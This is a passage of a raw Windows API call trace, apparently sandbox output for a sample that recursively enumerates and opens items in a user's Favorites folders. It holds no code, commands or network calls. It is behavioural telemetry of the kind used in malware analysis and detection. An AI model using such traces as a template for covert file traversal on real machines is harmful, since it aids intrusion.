"c:\\users\\5p5nrgjn0js halpmcxz\\favorites"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0090.770] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0090.770] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0090.771] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0090.771] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0090.771] NtClose (Handle=0x178) returned 0x0 [0090.771] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0090.771] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0090.772] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efd60 [0090.772] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.772] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e90c0 [0090.772] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.772] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0090.772] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.773] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.773] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.773] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.773] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.773] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f57f8 [0090.773] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1fe8 [0090.774] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.774] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0090.774] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Websites", cAlternateFileName="")) returned 1 [0090.774] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Websites", cAlternateFileName="")) returned 1 [0090.774] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="")) returned 1 [0090.774] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="")) returned 0 [0090.774] GetLastError () returned 0x12 [0090.774] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0090.774] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0090.774] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.774] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0090.774] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0090.774] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.775] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0090.775] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0090.775] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0090.775] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0090.775] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0090.776] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0090.776] NtClose (Handle=0x178) returned 0x0 [0090.776] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.778] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.778] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.778] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1f60 [0090.779] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e90c0 [0090.779] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.780] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0090.780] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f20f8 [0090.780] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f20f8) returned 1 [0090.780] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f20f8 [0090.781] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f20f8) returned 1 [0090.781] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f20f8 [0090.781] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5818 [0090.781] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2180 [0090.782] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f20f8) returned 1 [0090.782] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52cd1930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52fcb4b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Suggested Sites.url", cAlternateFileName="")) returned 1 [0090.782] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f20f8 [0090.782] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f20f8) returned 1 [0090.782] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f20f8 [0090.783] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f20f8) returned 1 [0090.783] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f20f8 [0090.783] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134c7b0 [0090.783] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.783] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5838 [0090.783] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134d938 [0090.784] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f20f8) returned 1 [0090.784] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="")) returned 1 [0090.784] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f20f8 [0090.784] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f20f8) returned 1 [0090.784] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f20f8 [0090.785] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f20f8) returned 1 [0090.785] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f20f8 [0090.785] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5858 [0090.785] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134de60 [0090.786] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f20f8) returned 1 [0090.786] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="")) returned 0 [0090.786] GetLastError () returned 0x12 [0090.786] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9100 [0090.786] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0090.786] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.786] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0090.786] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52cd1930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52fcb4b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Suggested Sites.url", cAlternateFileName="")) returned 1 [0090.786] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="")) returned 1 [0090.786] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="")) returned 0 [0090.786] GetLastError () returned 0x12 [0090.786] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1f60) returned 1 [0090.786] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0090.787] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x134c7b0) returned 1 [0090.787] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.787] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Websites", cAlternateFileName="")) returned 1 [0090.787] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.787] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0090.787] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0090.788] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0090.788] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0090.788] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0090.788] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0090.788] NtClose (Handle=0x16c) returned 0x0 [0090.789] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.789] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.789] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1f60 [0090.789] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f20f8 [0090.789] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9100 [0090.797] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.797] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="IE Add-on site.url", cAlternateFileName="")) returned 1 [0090.797] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.797] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.797] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.798] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.798] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.798] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134c7b0 [0090.799] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1f60) returned 1 [0090.799] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5878 [0090.799] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134e388 [0090.799] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.799] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="IE site on Microsoft.com.url", cAlternateFileName="")) returned 1 [0090.799] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.800] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.800] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.800] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.800] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.800] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5898 [0090.800] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134e598 [0090.801] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.801] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, 